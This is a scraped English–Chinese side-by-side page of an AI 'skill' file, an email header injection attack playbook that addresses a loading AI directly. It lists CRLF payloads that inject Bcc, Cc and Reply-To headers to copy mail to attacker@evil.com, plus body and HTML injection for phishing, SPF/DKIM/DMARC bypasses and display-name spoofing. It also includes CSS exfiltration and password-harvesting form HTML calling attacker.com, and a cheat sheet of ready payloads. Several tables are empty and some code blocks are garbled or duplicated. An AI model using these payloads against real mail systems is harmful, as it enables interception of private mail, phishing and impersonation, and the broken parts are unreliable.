email-header-injection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Email Header Injection — Expert Attack Playbook
SKILL: 邮件头注入 —— 专家攻击手册
AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
AI加载说明:专业级邮件头注入和认证绕过技术,覆盖SMTP CRLF注入、SPF/DKIM/DMARC绕过、显示名称伪造、邮件客户端渲染滥用。基础模型无法区分头注入(技术层面)和邮件认证绕过(协议层面)的细微差别——本技能覆盖这两类攻击面。
0. RELATED ROUTING
0. 关联技能路由
- crlf-injection — general CRLF injection; email headers are a specific high-value sink
- ssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)
- open-redirect — redirect in password-reset emails as phishing amplification
- crlf-injection —— 通用CRLF注入;邮件头是一类特定的高价值汇入点
- ssrf-server-side-request-forgery —— 当SMTP服务器可通过SSRF访问时适用(gopher://smtp)
- open-redirect —— 密码重置邮件中的跳转可作为钓鱼流量放大手段
1. SMTP HEADER INJECTION FUNDAMENTALS
1. SMTP头注入基础
SMTP headers are separated by CRLF (). If user input is placed into email headers without sanitization, injecting (or ) adds arbitrary headers.
\r\n%0d%0a\r\nSMTP头通过CRLF()分隔。如果用户输入未经 sanitization 就被放入邮件头,注入(或)即可添加任意自定义头。
\r\n%0d%0a\r\nInjection anatomy
注入原理
Normal header construction:
To: user@example.com\r\n
Subject: Contact Form\r\n
From: noreply@target.com\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
Result:
Subject: Hello\r\n
Bcc: attacker@evil.com\r\nNormal header construction:
To: user@example.com\r\n
Subject: Contact Form\r\n
From: noreply@target.com\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
Result:
Subject: Hello\r\n
Bcc: attacker@evil.com\r\nEncoding variants to try
可尝试的编码变体
| Encoding | Payload |
|---|---|
| URL-encoded | |
| Double URL-encoded | |
| Unicode | |
| Raw CRLF | |
| LF only | |
| Null byte + CRLF | |
| 编码类型 | 载荷 |
|---|---|
| URL编码 | |
| 双重URL编码 | |
| Unicode | |
| 原始CRLF | |
| 仅LF | |
| 空字节+CRLF | |
2. ATTACK SCENARIOS
2. 攻击场景
2.1 BCC Injection — Silent Email Exfiltration
2.1 BCC注入 —— 静默邮件外带
Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com
Effect: attacker receives a copy of every email sent through this formInput field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com
Effect: attacker receives a copy of every email sent through this form2.2 CC Injection with Header Stacking
2.2 带头部堆叠的CC注入
Payload in "From name" field:
John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
Result headers:
From: John
Cc: attacker@evil.com
Bcc: spy@evil.com
... (original headers continue)Payload in "From name" field:
John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
Result headers:
From: John
Cc: attacker@evil.com
Bcc: spy@evil.com
... (original headers continue)2.3 Body Injection — Full Email Content Control
2.3 正文注入 —— 完全控制邮件内容
A blank line () separates headers from body in SMTP:
\r\n\r\nPayload in Subject:
Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
Result:
Subject: Urgent
Please click: https://evil.com/phish
.
(Blank line terminates headers, everything after is body)SMTP中用空行()分隔头部和正文:
\r\n\r\nPayload in Subject:
Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
Result:
Subject: Urgent
Please click: https://evil.com/phish
.
(Blank line terminates headers, everything after is body)2.4 Reply-To Manipulation for Phishing
2.4 用于钓鱼的Reply-To操控
Payload in From name:
IT Support%0d%0aReply-To:attacker@evil.com
Victim sees "IT Support" as sender
Replies go to attacker@evil.comPayload in From name:
IT Support%0d%0aReply-To:attacker@evil.com
Victim sees "IT Support" as sender
Replies go to attacker@evil.com2.5 Content-Type Injection for HTML Phishing
2.5 用于HTML钓鱼的Content-Type注入
Payload:
test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
Overrides Content-Type → renders HTML in email clientPayload:
test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
Overrides Content-Type → renders HTML in email client3. COMMON VULNERABLE PATTERNS
3. 常见漏洞模式
PHP mail()
PHP mail()
php
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";
// ALL parameters are injectable:
mail($to, $subject, $message, $headers);
// $to injection: victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.comphp
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";
// ALL parameters are injectable:
mail($to, $subject, $message, $headers);
// $to injection: victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.comPython smtplib
Python smtplib
python
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)python
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)user_from / user_subject injectable if not sanitized
user_from / user_subject injectable if not sanitized
undefinedundefinedNode.js nodemailer
Node.js nodemailer
javascript
let mailOptions = {
from: req.body.from, // injectable
to: 'admin@target.com',
subject: req.body.subject, // injectable
text: req.body.message
};
transporter.sendMail(mailOptions);javascript
let mailOptions = {
from: req.body.from, // injectable
to: 'admin@target.com',
subject: req.body.subject, // injectable
text: req.body.message
};
transporter.sendMail(mailOptions);4. SPF / DKIM / DMARC BYPASS TECHNIQUES
4. SPF / DKIM / DMARC 绕过技术
4.1 SPF (Sender Policy Framework) Bypass
4.1 SPF (Sender Policy Framework) 绕过
SPF validates the envelope sender IP against DNS TXT records.
MAIL FROM| Technique | How |
|---|---|
| Subdomain delegation | Target has |
| Include chain abuse | |
| DNS lookup limit (10) | SPF allows max 10 DNS lookups; chains exceeding this → |
| |
| Softfail/neutral → most receivers still deliver to inbox |
| No SPF record | Domain without SPF → anyone can send as that domain |
bash
undefinedSPF会验证信封发件人IP是否匹配DNS TXT记录。
MAIL FROM| 绕过手法 | 实现方式 |
|---|---|
| 子域名授权 | 目标配置了 |
| 包含链滥用 | |
| DNS查询上限(10次) | SPF最多允许10次DNS查询;超过上限的查询链会返回 |
| |
| 软失败/中性状态 —— 多数收件方仍会将邮件投递到收件箱 |
| 无SPF记录 | 域名没有配置SPF —— 任何人都可以仿冒该域名发信 |
bash
undefinedCheck SPF record:
Check SPF record:
dig TXT target.com +short
dig TXT target.com +short
Look for: v=spf1 ...
Look for: v=spf1 ...
Count DNS lookups (each include/a/mx/redirect = 1 lookup):
Count DNS lookups (each include/a/mx/redirect = 1 lookup):
>10 lookups = permerror = bypassed
>10 lookups = permerror = bypassed
undefinedundefined4.2 DKIM (DomainKeys Identified Mail) Bypass
4.2 DKIM (DomainKeys Identified Mail) 绕过
DKIM signs specific headers with a domain key. Bypass vectors:
| Technique | How |
|---|---|
| DKIM signs with |
| |
| Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers |
Missing | If |
| Key rotation window | During DKIM key rotation, old selector may still validate |
bash
undefinedDKIM使用域名密钥对指定头部进行签名。绕过向量:
| 绕过手法 | 实现方式 |
|---|---|
| DKIM使用 |
| |
| 重放攻击 | 捕获有效DKIM签名的邮件,修改未签名的头部后重新发送 |
缺少 | 如果 |
| 密钥轮换窗口 | DKIM密钥轮换期间,旧选择器可能仍能通过验证 |
bash
undefinedCheck DKIM selector:
Check DKIM selector:
dig TXT selector._domainkey.target.com +short
dig TXT selector._domainkey.target.com +short
Common selectors: google, default, s1, s2, k1, dkim
Common selectors: google, default, s1, s2, k1, dkim
undefinedundefined4.3 DMARC (Domain-based Message Authentication) Bypass
4.3 DMARC (Domain-based Message Authentication) 绕过
DMARC requires SPF or DKIM to align with the header domain.
From:| Technique | How |
|---|---|
Relaxed alignment ( | SPF passes for |
| Organizational domain | |
| No DMARC record | Domain without DMARC → no policy enforcement |
| DMARC exists but policy is |
Subdomain policy ( | Main domain |
bash
undefinedDMARC要求SPF或DKIM与头域名对齐。
From:| 绕过手法 | 实现方式 |
|---|---|
宽松对齐( | SPF对 |
| 组织域名匹配 | 宽松模式下 |
| 无DMARC记录 | 域名没有配置DMARC —— 无策略 enforcement |
| 存在DMARC但策略为 |
子域名策略( | 主域配置 |
bash
undefinedCheck DMARC:
Check DMARC:
dig TXT _dmarc.target.com +short
dig TXT _dmarc.target.com +short
Look for: v=DMARC1; p=none/quarantine/reject
Look for: v=DMARC1; p=none/quarantine/reject
undefinedundefined4.4 Display Name Spoofing (Works Everywhere)
4.4 显示名称伪造(全场景适用)
Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.
即使SPF/DKIM/DMARC配置完全正确,显示名称也不会被认证:
From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>多数邮件客户端在收件箱视图仅显示显示名称,移动端客户端尤其容易受这类攻击影响。
5. MAIL CLIENT RENDERING ATTACKS
5. 邮件客户端渲染攻击
CSS-based data exfiltration
基于CSS的数据外带
html
<!-- In HTML email body -->
<style>
#secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
#secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">html
<!-- In HTML email body -->
<style>
#secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
#secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">Remote image tracking
远程图片追踪
html
<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->html
<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->Form action hijacking
表单行为劫持
html
<!-- Some email clients render forms -->
<form action="https://attacker.com/phish" method="POST">
<input name="password" type="password" placeholder="Confirm your password">
<button type="submit">Verify</button>
</form>html
<!-- Some email clients render forms -->
<form action="https://attacker.com/phish" method="POST">
<input name="password" type="password" placeholder="Confirm your password">
<button type="submit">Verify</button>
</form>6. CONTACT FORM / EMAIL API INJECTION
6. 联系表单/邮件API注入
text
undefinedtext
undefinedREST API
REST API
POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
URL-encoded form
URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
GraphQL
GraphQL
mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }
---mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }
---7. TESTING METHODOLOGY
7. 测试方法论
1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)1. 找到邮件相关功能:联系表单、密码重置、邀请/分享、新闻通讯
2. 测试CRLF注入:在每个字段注入test%0d%0aX-Injected:true → 检查收到的邮件头部
3. 升级攻击:Bcc注入 → 正文注入 → Content-Type覆盖
4. 并行检查:dig TXT target.com(SPF) + dig TXT _dmarc.target.com(DMARC)8. DECISION TREE
8. 决策树
Found email-sending feature?
│
├── User input goes into email headers?
│ ├── YES → Test CRLF injection
│ │ ├── %0d%0a in Subject/From/To field
│ │ │ ├── Extra header appears → CONFIRMED
│ │ │ │ ├── Inject Bcc: → silent exfiltration
│ │ │ │ ├── Inject body (blank line) → content control
│ │ │ │ └── Inject Reply-To: → redirect replies
│ │ │ │
│ │ │ └── Filtered? → Try encoding variants
│ │ │ ├── %250d%250a (double encode)
│ │ │ ├── %0a only (LF without CR)
│ │ │ └── Unicode \u000d\u000a
│ │ │
│ │ └── All encodings blocked → check SPF/DKIM/DMARC
│ │
│ └── NO (user input only in body) → limited impact
│ └── Check for HTML injection in email body
│ └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│ ├── Check SPF: dig TXT target.com
│ │ ├── No SPF / +all / ~all → direct spoofing possible
│ │ └── -all → SPF blocks; check DKIM/DMARC
│ │
│ ├── Check DMARC: dig TXT _dmarc.target.com
│ │ ├── No DMARC / p=none → spoofing delivered
│ │ ├── p=quarantine → lands in spam but delivered
│ │ └── p=reject → blocked; try subdomain (sp= policy)
│ │
│ └── All strict → Display name spoofing only
│ └── "admin@target.com" <attacker@evil.com>
│
└── Testing password reset email?
├── Check for token in URL → open redirect chain?
│ └── See ../open-redirect/SKILL.md
└── Check for host header injection → password reset poisoning
└── See ../http-host-header-attacks/SKILL.mdFound email-sending feature?
│
├── User input goes into email headers?
│ ├── YES → Test CRLF injection
│ │ ├── %0d%0a in Subject/From/To field
│ │ │ ├── Extra header appears → CONFIRMED
│ │ │ │ ├── Inject Bcc: → silent exfiltration
│ │ │ │ ├── Inject body (blank line) → content control
│ │ │ │ └── Inject Reply-To: → redirect replies
│ │ │ │
│ │ │ └── Filtered? → Try encoding variants
│ │ │ ├── %250d%250a (double encode)
│ │ │ ├── %0a only (LF without CR)
│ │ │ └── Unicode \u000d\u000a
│ │ │
│ │ └── All encodings blocked → check SPF/DKIM/DMARC
│ │
│ └── NO (user input only in body) → limited impact
│ └── Check for HTML injection in email body
│ └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│ ├── Check SPF: dig TXT target.com
│ │ ├── No SPF / +all / ~all → direct spoofing possible
│ │ └── -all → SPF blocks; check DKIM/DMARC
│ │
│ ├── Check DMARC: dig TXT _dmarc.target.com
│ │ ├── No DMARC / p=none → spoofing delivered
│ │ ├── p=quarantine → lands in spam but delivered
│ │ └── p=reject → blocked; try subdomain (sp= policy)
│ │
│ └── All strict → Display name spoofing only
│ └── "admin@target.com" <attacker@evil.com>
│
└── Testing password reset email?
├── Check for token in URL → open redirect chain?
│ └── See ../open-redirect/SKILL.md
└── Check for host header injection → password reset poisoning
└── See ../http-host-header-attacks/SKILL.md9. QUICK REFERENCE — KEY PAYLOADS
9. 快速参考 —— 核心载荷
text
undefinedtext
undefinedBCC injection via Subject
BCC injection via Subject
Subject: Hello%0d%0aBcc:attacker@evil.com
Subject: Hello%0d%0aBcc:attacker@evil.com
Body injection via From name
Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com
From: Test%0d%0a%0d%0aClick here: https://evil.com
Reply-To hijack
Reply-To hijack
From: Support%0d%0aReply-To:attacker@evil.com
From: Support%0d%0aReply-To:attacker@evil.com
Full header stack injection
Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
Display name spoof (no injection needed)
Display name spoof (no injection needed)
From: "security@target.com" attacker@evil.com
undefinedFrom: "security@target.com" attacker@evil.com
undefined